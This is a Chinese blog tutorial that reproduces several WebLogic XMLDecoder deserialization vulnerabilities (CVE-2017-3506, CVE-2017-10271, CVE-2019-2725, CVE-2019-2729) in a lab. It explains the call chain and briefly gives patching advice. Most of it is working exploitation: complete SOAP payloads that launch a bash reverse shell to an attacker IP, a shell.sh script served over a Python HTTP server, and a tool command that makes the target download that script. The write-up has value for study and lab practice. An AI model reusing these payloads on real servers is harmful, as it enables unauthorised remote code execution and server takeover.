本文最后更新于 2024-08-12,文章内容可能已经过时。

WebLogic XML Decoder 反序列化漏洞

1. XML Decoder 反序列化

1.1 XMLEncoder(XML序列化) & XMLDecoder (XML反序列化)

​ XMLDecoder / XMLEncoder 是JDK1.4版本中添加的XML格式序列持久性方案,使用XMLEncoder来表示JavaBeans组件(bean)的XML文档,用XMLDecoder读取使用的XMLEncoder创建的XML文档获取JavaBeans

1.2 XML标签

1.String标签

字符串"hello world"表示如下:

<string>Hello world</string>

2.object标签

通过<object>标签表示对象,其class属性指定具体类,其class属性指定具体类(用于调用其内部方法)。method属性指定具体方法名称(比如构建函数的方法名为new)

<object class="javax.swing.JButton" method="new">
	<string>Hello,world</string>
</object>

3.void标签

通过<void>标签表示函数调用,赋值等操作,method属性指定具体方法名称。

JButton b = new JButton(); b.setText("Hello world");对应的XML文档如下:

<object class="javax.swing.JButton">
	<void method="setText">
		<string>Hello,world</string>
	</void>
</object>

4.array标签

通过<array>标签表示数组,class属性指定具体类,在array标签内部使用void标签的index属来指定数组索引赋值。

String[] s = new String[2]; S[1] = "Hello,world"; 对应的XML文档如下

<array class="java.lang.String" length="2">
	<void index="1">
		<string>Hello,world</string>
	</void>
</array>

1.3 XMLDecoder 反序列化漏洞

在idea上新建一个java项目,创建包名com.test,xml文件poc.xml

image-20240809022158862

在com.test包下创建一个test类,读取XML文档以创建XMLDecoder类的实例化对象a,而后

再使用readObject()方法触发反序列化漏洞,代码如下

package com.test;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class test {
    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoder a = new XMLDecoder(new BufferedInputStream(new FileInputStream("src/com/test/poc.xml")));
        Object result = a.readObject();
        a.close();
    }
}

用于编写反序化的XML(poc.xml),执行calc,打开计算器,代码如下:

<java version="1.8.0" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start"></void>
    </object>
</java>

运行test类后直接弹出计算器,说明XML反序化完成

image-20240809023643502

2.CVE-2017-3506

2.1 漏洞简介

​ WebLogic的WLS Security组件对外提供的webservice服务,其中使用了XMLDecoder来解析用户传入的SOAP(XML)数据,在解析的过程中出现的反序列化漏洞,导致可执行任意命令(RCE)

​ 漏洞影响版本:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2

2.2 漏洞分析

2.2.1判断漏洞是否存在

​ 若访问/wls-wsat/CoordinatorPortType,出现如下页面,则可能存在此漏洞。

image-20240809031309057

只要再wls-wsat这个war包中的uri皆受影响,打开web.xml查看收到影响的url路径

默认受到影响的uri如下:
/w1s-wsat/coordinatorPortType
/w1s-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/w1s-wsat/RegistrationRequesterPortType
/w1s-wsat/CoordinatorPortType11
/w1s-wsat/RegistrationPortTypeRPC11
/w1s-wsat/ParticipantPortTypell
/w1s-wsat/RegistrationRequesterPortType11
2.2.2 漏洞调用链分析

​ 首先查看weblogic.wsee.jaxws.workcontextServerTube下的processRequest()方法,这里看到传入的var1参数是提交的sope(XML)数据,var2是从var1中获取的headersvar3是从var2中的WorkAreaConstants.WORK_AREA_HEADER获取到的,然后将var3放入readHeaderOld()方法中

image-20240809031453172

image-20240809032235068

接下来查看weblogic.wsee.jaxws.workcontext.WorkContextTube中的readHeaderOld()方法,这里将提交的sope(XML) 中的XML格式序列化传给了var4,接着构建了WorkContextXmlInputAdapter()对象var6并将var4的字节数组输入流传入到其构造函数中。

image-20240809032413117

跟着查看weblogic.wsee.workarea.WorkContextXmlInputAdapter的WorkContextXmlInputAdapter,发现其包含恶意的XML的输入流作为参数传入XMLDecoder的构造函数,创建了对象xmlDecoder。

image-20240809032147205

再回到上层,看到var6又被传入到了recevie()方法中。

image-20240809032514723image-20240809032539469跟进receive()方法,其有调用receiveRequest()方法处理xmlDecoder

image-20240809032701920

readUTF中,可以看到它最终调用了xmlDecoder的readObject()方法进行反序列化操作,从而触发命令执行。

image-20240809032935736

2.3 漏洞复现

2.3.1 实验环境

服务器:Centos7 (ip : 192.168.91.128)

​ Weblogic 版本:10.3.6.0

攻击机:kali (IP : 192.168.91.129)

​ 这里使用vulhub的靶场搭建漏洞复现环境,在Centos 7 上创建一个目录CVE-2017-3506,在其中创建一个docker-compose.yml文件,内容如下:

version:'2'
services:
 weblogic:image:vulhub/weblogic:10.3.6.0-2017
 ports:
 -"7881:7881"

而后在这个目录下直接运行docker-compose -d up即可拉取启动容器。

docker ps命令可以查看对应开放的端口

启动后浏览器访问对应的端口,看到如下界面说明容器启动成功,靶场环境搭建完毕。

image-20240809030654257

http://192.168.91.128:7001/console可以跳转到后台界面

image-20240809031018677

http://192.168.91.128:7001/console/login/LoginForm.jsp

image-20240809031035542

2.3.2 复现过程

​ 浏览器访问http://192.168.91.128:7001/wls-wsat/CoordinatorPortType

(只要出现如下界面说明可能存在此漏洞)

image-20240809030853334

使用工具验证下,发现果然有漏洞

image-20240809123520987

image-20240809123605404

然后使用burp进行拦截请求,发送到重放,右键修改请求方法为POST,而后修改Content-Typetext/xml

image-20240809034846088

在正文下方中填入如下payload进行利用,这里使用的bash进行反弹shell操作。

(bash那一行的ip地址是kali的ip地址)

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp;/dev/tcp/192.168.91.129/6666 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image-20240809040413508

在kali启动nc监听:监听6666端口

image-20240809034314521

burp执行后kali成功反弹。成功Getshell,漏洞复现完毕。

image-20240809124300734

3.CVE-2017-10271

3.1 漏洞简介

在更新CVE-2017-3506补丁之前,不对用户输入的SOAP(XML)数据进行验证,在其中的object标签就可以进行远程命令执行,CVE-2017-3506的补丁在`weblogic/wsee/WorkContextXmlInputAdapter.java`中添加了`validate`方法,在解析xml的时候,`Element`字段出现`object`标签就抛出运行时的异常,不过这次防御的力度不够,就导致了CVE-2017-10271。

private void validate(InputStream is){
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try {
        SAXParser parser =factory.newSAXParser();
        parser.parse(is, newDefaultHandler() {
            public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
                if(qName.equalsIgnoreCase("object")) {
                    throw new IllegalStateException("Invalid context type: object");
                }
            }
        });
    } catch(ParserConfigurationException var5) {
        throw new IllegalStateException("Parser Exception", var5);
    } catch (SAXExceptionvar6) {
        throw new IllegalStateException("Parser Exception", var6);
    } catch (IOExceptionvar7) {
        throw new IllegalStateException("Parser Exception", var7);
    }

可以看到,就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过,我们将object换成void就可绕过此补定。

​ CVE-2017-10271与CVE-2017-3506与的利用方法一样,只是CVE-2017-3506加了验证函数补丁,补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法, 验证Payload中的节点是否存在object ,如果有就抛出异常进行防御。我们可以使用void标签进行绕过CVE-2017-3506的补丁,从而触发CVE-2017-10271漏洞,进行远程命令调用。

​ 漏洞影响版本:10.3.6.0,12.1.3.0,12.2.1.1,12.2.1.2

3.2 漏洞复现

3.2.1 实验环境

服务器:Centos7 (ip : 192.168.91.128) 搭建有vulfocus漏洞复现平台

​ Weblogic 版本:10.3.6.0

攻击机:kali (IP : 192.168.91.129)

搜索漏洞编号,启动靶场复现环境。

image-20240809175536078

浏览器访问对应ip和端口,出现如下界面则表示搭建完毕。

image-20240809175550701

3.2.2 复现过程

​ CVE-2017-10271与CVE-2017-3506与的利用方法一样,只不过需要将object标签替换为void标签进行利用。启动环境后访问:http://192.168.91.128:7001/wls-wsat/CoordinatorPortType

然后使用burp进行拦截请求,发送到重放,修改请求为POST,而后修改Content-Type为text/xml。

​ 在正文中填入如下的payload进行利用,这里使用的是bash进行反弹shell。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.4.0" class="java.beans.XMLDecoder">
            <void class="java.lang.ProcessBuilder">
                <array class="java.lang.String" length="3">
                    <void index="0">
                        <string>/bin/bash</string>
                    </void>
                    <void index="1">
                        <string>-c</string>
                    </void>
                    <void index="2">
                        <string>bash -i &gt;&amp; /dev/tcp/192.168.91.129/6666 0&gt;&amp;1</string>
                    </void>
                </array>
                <void method="start"/></void>
            </void>
        </java>
    </work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

​ kali中开启nc监听6666端口,burp发送请求,kali中成功反弹回shell,复现成功。

image-20240809124300734

2.4 修复建议:

1.安装补丁
2.或删除wls-wsat组件

4.CVE-2019-2725

4.1 漏洞简介

​ 描述: Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。 由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。

​ 该漏洞依旧是根据weblogic的xmlDeconder反序列化的漏洞,Weblogic部分版本中默认包含wls9_async_response的war包,为WebLogicServer提供异步通讯服务,由于该WAR包在反序列化处理的时候输入信息时存在缺陷,攻击者可以发送精心构造的恶意HTTP请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

​ 影响版本:weblogic: 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0

4.2 漏洞原理

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

访问 /_async/AsyncResponseService返回如下页面,即可能存在该漏洞

访问/_async/如果返回403,也可能存在漏洞

CVE-2019-2725这个洞与前两个漏洞很相似,只不过利用的是wls9_async_response这个war包

若访问/_async/AsyncResponseService,响应如下页面,则可能存在该漏洞。

image-20240809131119133

若访问/_async/,响应403也可能存在该漏洞。

image-20240809131228080

只要是在bea_wls9_async_response包中的url皆收到影响,可以打开web.xml查看所有受影响的url地址

默认受影响的url:
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttp

4.3 漏洞复现

4.3.1 实验环境

服务器:Centos7 (ip:192.168.91.128) 搭建了Vulfocus漏洞复现平台

Weblogic 版本: 10.3.6.0

攻击机:kali (ip:192.168.91.129)

使用vulfocus靶场搭建,搜索weblogic镜像进行下载后启动即可

image-20240809130202914

访问http://192.168.91.128:13417/,如下页面,说明搭建成功

image-20240809131058962

4.3.2 复现过程

​ 与前面的相似,利用点在bea_wls9_async_response包中的url,访问http://192.168.91.128:13417/_async/AsyncResponseService,然后使用burp进行拦截,发送到重放,右键修改请求方法为POST,而后修改content-Type为text/xml

在正文下发,填写payload如下进行利用。这里使用的是bash进行反弹shell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp;/dev/tcp/192.168.91.129/6666 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

image-20240809133137132

kali开启nc监听6666端口,burp发送请求,kali成功返回反弹的shell

image-20240809124300734

5.CVE-2019-2729

5.1 漏洞原理

​ CVE-2019-2729漏洞是对CVE-2019-2725漏洞补丁进行绕过,形成新的漏洞利用方式,属于CVE-2019-2725漏洞的变形绕过。与CVE-2019-2725源洞相似,CVE-2019-2729漏洞是由于应用在处理反序列化输入信息时存在缺陷,攻击者可以通过发送精心构造的恶意HTTP请求,用于获得目标服务器的权限,并在未授权的情况下执行远程命令,最终获取服务器的权限。

​ 影响版本:10.3.6.0,12.1.3.0,12.2.1.3

5.3 漏洞复现

5.3.1 实验环境

服务器:Centos7 (ip : 192.168.91.128) 搭建有vulfocus漏洞复现平台

​ Weblogic 版本:10.3.6.0

攻击机:kali (IP : 192.168.91.129)

利用工具:https://github.com/ruthlezs/CVE-2019-2729-Exploit/blob/master/oracle-weblogic-deserialize.py

image-20240809181312314

搜索漏洞编号,启动靶场复现环境。

image-20240809181434972浏览器访问对应主机ip和映射的端口,出现如下界面说明搭建成功。

image-20240809181712427

5.3.2 复现过程

​ 前面的CVE-2017-3506的补丁是过滤了object标签,CVE-2017-10271的补丁是过滤了new标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的。

​ 而CVE-2019-2725的补丁也是使用了黑名单的方式禁用了class标签,但是我们可以使用<array method="forName">的方式替代class标签即可。

访问/wls-wsat/CoordinatorPortType,而后burp进行拦截该请求。

利用工具中的req.txt提取出来,放于请求中,这里太多了,就不放出来了,git仓库后文件夹中有。

image-20240809182557517

请求头部添加fcmd字段,填写whoami命令,用于验证,发送后查看命令回显信息。可以看到发送回来root,说明存在该漏洞,可以进行利用。

image-20240809183533642

在kali上的/tmp目录编写一个shell脚本,(shell.sh),用于bash进行反弹shell,内容如下:

bash -i >& /dev/tcp/192.168.91.129/6666 0>&1

image-20240809184007348

而后在kali的/tmp下使用python3 -m http.server:8000,开启一个http服务,后续方便让Weblogic服务器获取到shell脚本。

image-20240809184024718

kali上使用nc监听6666端口

image-20240809184104369

在kali上使用漏洞利用工具,让服务器去执行shell.sh。获取反弹shell,若无法获取shell,则可以使用

bash shell.sh

python oracle-weblogic-deserialize.py -u http://192.168.91.128:62066/ -c "wget http://192.168.91.129:8000/shell.sh -P /tmp"

image-20240809184836635

image-20240809185325488

image-20240809185304162

成功获取root权限,漏洞复现完毕。

5.4 修复建议

1.过滤t3协议。

在域结构中点击 安全->筛选器 连接筛选器填: weblogic.security.net.ConnectionFilterImpl 保存后重启Weblogic.

2.安装补丁。